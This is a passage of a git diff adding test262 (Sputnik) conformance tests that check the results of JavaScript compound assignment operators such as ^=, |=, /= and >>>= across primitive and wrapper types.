@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x @= y returns x @ y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A3.2_T10.js
+ * @description Checking Expression and Variable statements for x ^= y
+ */
+
+//CHECK#1
+var x = 0;
+var x1 = (x ^= 1);
+if (x1 !== 1) {
+ $ERROR('#1: var x = 0; var x1 = (x ^= 1); x1 === 1. Actual: ' + (x1));
+}
+
+//CHECK#2
+y = 1;
+y1 = (y ^= 0);
+if (y1 !== 1) {
+ $ERROR('#2: y = 1; y1 = (y ^= 0); y1 === 1. Actual: ' + (y1));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.2_T11.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.2_T11.js
new file mode 100644
index 000000000..e9c1ed403
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.2_T11.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x @= y returns x @ y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A3.2_T11.js
+ * @description Checking Expression and Variable statements for x |= y
+ */
+
+//CHECK#1
+var x = 0;
+var x1 = (x |= 1);
+if (x1 !== 1) {
+ $ERROR('#1: var x = 0; var x1 = (x |= 1); x1 === 1. Actual: ' + (x1));
+}
+
+//CHECK#2
+y = 1;
+y1 = (y |= 0);
+if (y1 !== 1) {
+ $ERROR('#2: y = 1; y1 = (y |= 0); y1 === 1. Actual: ' + (y1));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.2_T2.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.2_T2.js
new file mode 100644
index 000000000..8de215e0f
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.2_T2.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x @= y returns x @ y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A3.2_T2.js
+ * @description Checking Expression and Variable statements for x /= y
+ */
+
+//CHECK#1
+var x = 1;
+var x1 = (x /= -1);
+if (x1 !== -1) {
+ $ERROR('#1: var x = 1; var x1 = (x /= -1); x1 === -1. Actual: ' + (x1));
+}
+
+//CHECK#2
+y = 1;
+y1 = (y /= -1);
+if (y1 !== -1) {
+ $ERROR('#2: y = 1; y1 = (y /= -1); y1 === -1. Actual: ' + (y1));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.2_T3.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.2_T3.js
new file mode 100644
index 000000000..2e4853ae2
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.2_T3.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x @= y returns x @ y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A3.2_T3.js
+ * @description Checking Expression and Variable statements for x %= y
+ */
+
+//CHECK#1
+var x = -1;
+var x1 = (x %= 2);
+if (x1 !== -1) {
+ $ERROR('#1: var x = -1; var x1 = (x %= 2); x1 === -1. Actual: ' + (x1));
+}
+
+//CHECK#2
+y = -1;
+y1 = (y %= 2);
+if (y1 !== -1) {
+ $ERROR('#2: y = -1; y1 = (y %= 2); y1 === -1. Actual: ' + (y1));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.2_T4.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.2_T4.js
new file mode 100644
index 000000000..8aa84317f
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.2_T4.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x @= y returns x @ y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A3.2_T4.js
+ * @description Checking Expression and Variable statements for x += y
+ */
+
+//CHECK#1
+var x = 1;
+var x1 = (x += 1);
+if (x1 !== 2) {
+ $ERROR('#1: var x = 1; var x1 = (x += 1); x1 === 2. Actual: ' + (x1));
+}
+
+//CHECK#2
+y = 1;
+y1 = (y += 1);
+if (y1 !== 2) {
+ $ERROR('#2: y = 1; y1 = (y += 1); y1 === 2. Actual: ' + (y1));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.2_T5.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.2_T5.js
new file mode 100644
index 000000000..50ca35e71
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.2_T5.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x @= y returns x @ y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A3.2_T5.js
+ * @description Checking Expression and Variable statements for x -= y
+ */
+
+//CHECK#1
+var x = -1;
+var x1 = (x -= 1);
+if (x1 !== -2) {
+ $ERROR('#1: var x = -1; var x1 = (x -= 1); x1 === -2. Actual: ' + (x1));
+}
+
+//CHECK#2
+y = -1;
+y1 = (y -= 1);
+if (y1 !== -2) {
+ $ERROR('#2: y = -1; y1 = (y -= 1); y1 === -2. Actual: ' + (y1));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.2_T6.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.2_T6.js
new file mode 100644
index 000000000..250be77af
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.2_T6.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x @= y returns x @ y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A3.2_T6.js
+ * @description Checking Expression and Variable statements for x <<= y
+ */
+
+//CHECK#1
+var x = 1;
+var x1 = (x <<= 1);
+if (x1 !== 2) {
+ $ERROR('#1: var x = 1; var x1 = (x <<= 1); x1 === 2. Actual: ' + (x1));
+}
+
+//CHECK#2
+y = 1;
+y1 = (y <<= 1);
+if (y1 !== 2) {
+ $ERROR('#2: y = 1; y1 = (y <<= 1); y1 === 2. Actual: ' + (y1));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.2_T7.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.2_T7.js
new file mode 100644
index 000000000..d37cce498
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.2_T7.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x @= y returns x @ y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A3.2_T7.js
+ * @description Checking Expression and Variable statements for x >>= y
+ */
+
+//CHECK#1
+var x = 4;
+var x1 = (x >>= 1);
+if (x1 !== 2) {
+ $ERROR('#1: var x = 4; var x1 = (x >>= 1); x1 === 2. Actual: ' + (x1));
+}
+
+//CHECK#2
+y = 4;
+y1 = (y >>= 1);
+if (y1 !== 2) {
+ $ERROR('#2: y = 4; y1 = (y >>= 1); y1 === 2. Actual: ' + (y1));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.2_T8.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.2_T8.js
new file mode 100644
index 000000000..f636cbfe5
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.2_T8.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x @= y returns x @ y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A3.2_T8.js
+ * @description Checking Expression and Variable statements for x >>>= y
+ */
+
+//CHECK#1
+var x = 4;
+var x1 = (x >>>= 1);
+if (x1 !== 2) {
+ $ERROR('#1: var x = 4; var x1 = (x >>>= 1); x1 === 2. Actual: ' + (x1));
+}
+
+//CHECK#2
+y = 4;
+y1 = (y >>>= 1);
+if (y1 !== 2) {
+ $ERROR('#2: y = 4; y1 = (y >>>= 1); y1 === 2. Actual: ' + (y1));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.2_T9.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.2_T9.js
new file mode 100644
index 000000000..de09e1fd5
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.2_T9.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x @= y returns x @ y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A3.2_T9.js
+ * @description Checking Expression and Variable statements for x &= y
+ */
+
+//CHECK#1
+var x = 1;
+var x1 = (x &= 1);
+if (x1 !== 1) {
+ $ERROR('#1: var x = 1; var x1 = (x &= 1); x1 === 1. Actual: ' + (x1));
+}
+
+//CHECK#2
+y = 1;
+y1 = (y &= 1);
+if (y1 !== 1) {
+ $ERROR('#2: y = 1; y1 = (y &= 1); y1 === 1. Actual: ' + (y1));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.10_T1.1.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.10_T1.1.js
new file mode 100644
index 000000000..e9b0ee0c4
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.10_T1.1.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x ^= y is the same as x = x ^ y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.10_T1.1.js
+ * @description Type(x) and Type(y) vary between primitive boolean and Boolean object
+ */
+
+//CHECK#1
+x = true;
+x ^= true;
+if (x !== 0) {
+ $ERROR('#1: x = true; x ^= true; x === 0. Actual: ' + (x));
+}
+
+//CHECK#2
+x = new Boolean(true);
+x ^= true;
+if (x !== 0) {
+ $ERROR('#2: x = new Boolean(true); x ^= true; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = true;
+x ^= new Boolean(true);
+if (x !== 0) {
+ $ERROR('#3: x = true; x ^= new Boolean(true); x === 0. Actual: ' + (x));
+}
+
+//CHECK#4
+x = new Boolean(true);
+x ^= new Boolean(true);
+if (x !== 0) {
+ $ERROR('#4: x = new Boolean(true); x ^= new Boolean(true); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.10_T1.2.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.10_T1.2.js
new file mode 100644
index 000000000..28a622e5b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.10_T1.2.js
@@ -0,0 +1,39 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x ^= y is the same as x = x ^ y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.10_T1.2.js
+ * @description Type(x) and Type(y) vary between primitive number and Number object
+ */
+
+//CHECK#1
+x = 1;
+x ^= 1;
+if (x !== 0) {
+ $ERROR('#1: x = 1; x ^= 1; x === 0. Actual: ' + (x));
+}
+
+//CHECK#2
+x = new Number(1);
+x ^= 1;
+if (x !== 0) {
+ $ERROR('#2: x = new Number(1); x ^= 1; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = 1;
+x ^= new Number(1);
+if (x !== 0) {
+ $ERROR('#3: x = 1; x ^= new Number(1); x === 0. Actual: ' + (x));
+}
+
+//CHECK#4
+x = new Number(1);
+x ^= new Number(1);
+if (x !== 0) {
+ $ERROR('#4: x = new Number(1); x ^= new Number(1); x === 0. Actual: ' + (x));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.10_T1.3.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.10_T1.3.js
new file mode 100644
index 000000000..bfaec704b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.10_T1.3.js
@@ -0,0 +1,52 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x ^= y is the same as x = x ^ y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.10_T1.3.js
+ * @description Type(x) and Type(y) vary between primitive string and String object
+ */
+
+//CHECK#1
+x = "1";
+x ^= "1";
+if (x !== 0) {
+ $ERROR('#1: x = "1"; x ^= "1"; x === 0. Actual: ' + (x));
+}
+
+//CHECK#2
+x = new String("1");
+x ^= "1";
+if (x !== 0) {
+ $ERROR('#2: x = new String("1"); x ^= "1"; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = "1";
+x ^= new String("1");
+if (x !== 0) {
+ $ERROR('#3: x = "1"; x ^= new String("1"); x === 0. Actual: ' + (x));
+}
+
+//CHECK#4
+x = new String("1");
+x ^= new String("1");
+if (x !== 0) {
+ $ERROR('#4: x = new String("1"); x ^= new String("1"); x === 0. Actual: ' + (x));
+}
+
+//CHECK#5
+x = "x";
+x ^= "1";
+if (x !== 1) {
+ $ERROR('#5: x = "x"; x ^= "1"; x === 1. Actual: ' + (x));
+}
+
+//CHECK#6
+x = "1";
+x ^= "x";
+if (x !== 1) {
+ $ERROR('#6: x = "1"; x ^= "x"; x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.10_T1.4.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.10_T1.4.js
new file mode 100644
index 000000000..03b9f63e5
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.10_T1.4.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x ^= y is the same as x = x ^ y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.10_T1.4.js
+ * @description Type(x) and Type(y) vary between Null and Undefined
+ */
+
+//CHECK#1
+x = null;
+x ^= undefined;
+if (x !== 0) {
+ $ERROR('#1: x = null; x ^= undefined; x === 0. Actual: ' + (x));
+}
+
+//CHECK#2
+x = undefined;
+x ^= null;
+if (x !== 0) {
+ $ERROR('#2: x = undefined; x ^= null; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = undefined;
+x ^= undefined;
+if (x !== 0) {
+ $ERROR('#3: x = undefined; x ^= undefined; x === 0. Actual: ' + (x));
+}
+
+//CHECK#4
+x = null;
+x ^= null;
+if (x !== 0) {
+ $ERROR('#4: x = null; x ^= null; x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.10_T2.1.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.10_T2.1.js
new file mode 100644
index 000000000..82f176291
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.10_T2.1.js
@@ -0,0 +1,66 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x ^= y is the same as x = x ^ y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.10_T2.1.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Boolean (primitive and object)
+ */
+
+//CHECK#1
+x = true;
+x ^= 1;
+if (x !== 0) {
+ $ERROR('#1: x = true; x ^= 1; x === 0. Actual: ' + (x));
+}
+
+//CHECK#2
+x = 1;
+x ^= true;
+if (x !== 0) {
+ $ERROR('#2: x = 1; x ^= true; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Boolean(true);
+x ^= 1;
+if (x !== 0) {
+ $ERROR('#3: x = new Boolean(true); x ^= 1; x === 0. Actual: ' + (x));
+}
+
+//CHECK#4
+x = 1;
+x ^= new Boolean(true);
+if (x !== 0) {
+ $ERROR('#4: x = 1; x ^= new Boolean(true); x === 0. Actual: ' + (x));
+}
+
+//CHECK#5
+x = true;
+x ^= new Number(1);
+if (x !== 0) {
+ $ERROR('#5: x = true; x ^= new Number(1); x === 0. Actual: ' + (x));
+}
+
+//CHECK#6
+x = new Number(1);
+x ^= true;
+if (x !== 0) {
+ $ERROR('#6: x = new Number(1); x ^= true; x === 0. Actual: ' + (x));
+}
+
+//CHECK#7
+x = new Boolean(true);
+x ^= new Number(1);
+if (x !== 0) {
+ $ERROR('#7: x = new Boolean(true); x ^= new Number(1); x === 0. Actual: ' + (x));
+}
+
+//CHECK#8
+x = new Number(1);
+x ^= new Boolean(true);
+if (x !== 0) {
+ $ERROR('#8: x = new Number(1); x ^= new Boolean(true); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.10_T2.2.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.10_T2.2.js
new file mode 100644
index 000000000..5b877f27a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.10_T2.2.js
@@ -0,0 +1,80 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x ^= y is the same as x = x ^ y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.10_T2.2.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and String (primitive and object)
+ */
+
+//CHECK#1
+x = "1";
+x ^= 1;
+if (x !== 0) {
+ $ERROR('#1: x = "1"; x ^= 1; x === 0. Actual: ' + (x));
+}
+
+//CHECK#2
+x = 1;
+x ^= "1";
+if (x !== 0) {
+ $ERROR('#2: x = 1; x ^= "1"; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new String("1");
+x ^= 1;
+if (x !== 0) {
+ $ERROR('#3: x = new String("1"); x ^= 1; x === 0. Actual: ' + (x));
+}
+
+//CHECK#4
+x = 1;
+x ^= new String("1");
+if (x !== 0) {
+ $ERROR('#4: x = 1; x ^= new String("1"); x === 0. Actual: ' + (x));
+}
+
+//CHECK#5
+x = "1";
+x ^= new Number(1);
+if (x !== 0) {
+ $ERROR('#5: x = "1"; x ^= new Number(1); x === 0. Actual: ' + (x));
+}
+
+//CHECK#6
+x = new Number(1);
+x ^= "1";
+if (x !== 0) {
+ $ERROR('#6: x = new Number(1); x ^= "1"; x === 0. Actual: ' + (x));
+}
+
+//CHECK#7
+x = new String("1");
+x ^= new Number(1);
+if (x !== 0) {
+ $ERROR('#7: x = new String("1"); x ^= new Number(1); x === 0. Actual: ' + (x));
+}
+
+//CHECK#8
+x = new Number(1);
+x ^= new String("1");
+if (x !== 0) {
+ $ERROR('#8: x = new Number(1); x ^= new String("1"); x === 0. Actual: ' + (x));
+}
+
+//CHECK#9
+x = "x";
+x ^= 1;
+if (x !== 1) {
+ $ERROR('#9: x = "x"; x ^= 1; x === 1. Actual: ' + (x));
+}
+
+//CHECK#10
+x = 1;
+x ^= "x";
+if (x !== 1) {
+ $ERROR('#10: x = 1; x ^= "x"; x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.10_T2.3.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.10_T2.3.js
new file mode 100644
index 000000000..a41eb8d6c
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.10_T2.3.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x ^= y is the same as x = x ^ y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.10_T2.3.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Null
+ */
+
+//CHECK#1
+x = 1;
+x ^= null;
+if (x !== 1) {
+ $ERROR('#1: x = 1; x ^= null; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = null;
+x ^= 1;
+if (x !== 1) {
+ $ERROR('#2: x = null; x ^= 1; x === 1. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Number(1);
+x ^= null;
+if (x !== 1) {
+ $ERROR('#3: x = new Number(1); x ^= null; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = null;
+x ^= new Number(1);
+if (x !== 1) {
+ $ERROR('#4: x = null; x ^= new Number(1); x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.10_T2.4.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.10_T2.4.js
new file mode 100644
index 000000000..666f20604
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.10_T2.4.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x ^= y is the same as x = x ^ y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.10_T2.4.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Undefined
+ */
+
+//CHECK#1
+x = 1;
+x ^= undefined;
+if (x !== 1) {
+ $ERROR('#1: x = 1; x ^= undefined; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = undefined;
+x ^= 1;
+if (x !== 1) {
+ $ERROR('#2: x = undefined; x ^= 1; x === 1. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Number(1);
+x ^= undefined;
+if (x !== 1) {
+ $ERROR('#3: x = new Number(1); x ^= undefined; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = undefined;
+x ^= new Number(1);
+if (x !== 1) {
+ $ERROR('#4: x = undefined; x ^= new Number(1); x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.10_T2.5.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.10_T2.5.js
new file mode 100644
index 000000000..aff6b25da
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.10_T2.5.js
@@ -0,0 +1,66 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x ^= y is the same as x = x ^ y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.10_T2.5.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Boolean (primitive and object)
+ */
+
+//CHECK#1
+x = true;
+x ^= "1";
+if (x !== 0) {
+ $ERROR('#1: x = true; x ^= "1"; x === 0. Actual: ' + (x));
+}
+
+//CHECK#2
+x = "1";
+x ^= true;
+if (x !== 0) {
+ $ERROR('#2: x = "1"; x ^= true; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Boolean(true);
+x ^= "1";
+if (x !== 0) {
+ $ERROR('#3: x = new Boolean(true); x ^= "1"; x === 0. Actual: ' + (x));
+}
+
+//CHECK#4
+x = "1";
+x ^= new Boolean(true);
+if (x !== 0) {
+ $ERROR('#4: x = "1"; x ^= new Boolean(true); x === 0. Actual: ' + (x));
+}
+
+//CHECK#5
+x = true;
+x ^= new String("1");
+if (x !== 0) {
+ $ERROR('#5: x = true; x ^= new String("1"); x === 0. Actual: ' + (x));
+}
+
+//CHECK#6
+x = new String("1");
+x ^= true;
+if (x !== 0) {
+ $ERROR('#6: x = new String("1"); x ^= true; x === 0. Actual: ' + (x));
+}
+
+//CHECK#7
+x = new Boolean(true);
+x ^= new String("1");
+if (x !== 0) {
+ $ERROR('#7: x = new Boolean(true); x ^= new String("1"); x === 0. Actual: ' + (x));
+}
+
+//CHECK#8
+x = new String("1");
+x ^= new Boolean(true);
+if (x !== 0) {
+ $ERROR('#8: x = new String("1"); x ^= new Boolean(true); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.10_T2.6.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.10_T2.6.js
new file mode 100644
index 000000000..4b30cef36
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.10_T2.6.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x ^= y is the same as x = x ^ y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.10_T2.6.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Undefined
+ */
+
+//CHECK#1
+x = "1";
+x ^= undefined;
+if (x !== 1) {
+ $ERROR('#1: x = "1"; x ^= undefined; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = undefined;
+x ^= "1";
+if (x !== 1) {
+ $ERROR('#2: x = undefined; x ^= "1"; x === 1. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new String("1");
+x ^= undefined;
+if (x !== 1) {
+ $ERROR('#3: x = new String("1"); x ^= undefined; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = undefined;
+x ^= new String("1");
+if (x !== 1) {
+ $ERROR('#4: x = undefined; x ^= new String("1"); x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.10_T2.7.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.10_T2.7.js
new file mode 100644
index 000000000..880fb66ec
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.10_T2.7.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x ^= y is the same as x = x ^ y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.10_T2.7.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Null
+ */
+
+//CHECK#1
+x = "1";
+x ^= null;
+if (x !== 1) {
+ $ERROR('#1: x = "1"; x ^= null; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = null;
+x ^= "1";
+if (x !== 1) {
+ $ERROR('#2: x = null; x ^= "1"; x === 1. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new String("1");
+x ^= null;
+if (x !== 1) {
+ $ERROR('#3: x = new String("1"); x ^= null; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = null;
+x ^= new String("1");
+if (x !== 1) {
+ $ERROR('#4: x = null; x ^= new String("1"); x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.10_T2.8.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.10_T2.8.js
new file mode 100644
index 000000000..4e0e83855
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.10_T2.8.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x ^= y is the same as x = x ^ y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.10_T2.8.js
+ * @description Type(x) is different from Type(y) and both types vary between Boolean (primitive or object) and Undefined
+ */
+
+//CHECK#1
+x = true;
+x ^= undefined;
+if (x !== 1) {
+ $ERROR('#1: x = true; x ^= undefined; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = undefined;
+x ^= true;
+if (x !== 1) {
+ $ERROR('#2: x = undefined; x ^= true; x === 1. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Boolean(true);
+x ^= undefined;
+if (x !== 1) {
+ $ERROR('#3: x = new Boolean(true); x ^= undefined; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = undefined;
+x ^= new Boolean(true);
+if (x !== 1) {
+ $ERROR('#4: x = undefined; x ^= new Boolean(true); x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.10_T2.9.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.10_T2.9.js
new file mode 100644
index 000000000..59a622d54
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.10_T2.9.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x ^= y is the same as x = x ^ y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.10_T2.9.js
+ * @description Type(x) is different from Type(y) and both types vary between Boolean (primitive or object) and Null
+ */
+
+//CHECK#1
+x = true;
+x ^= null;
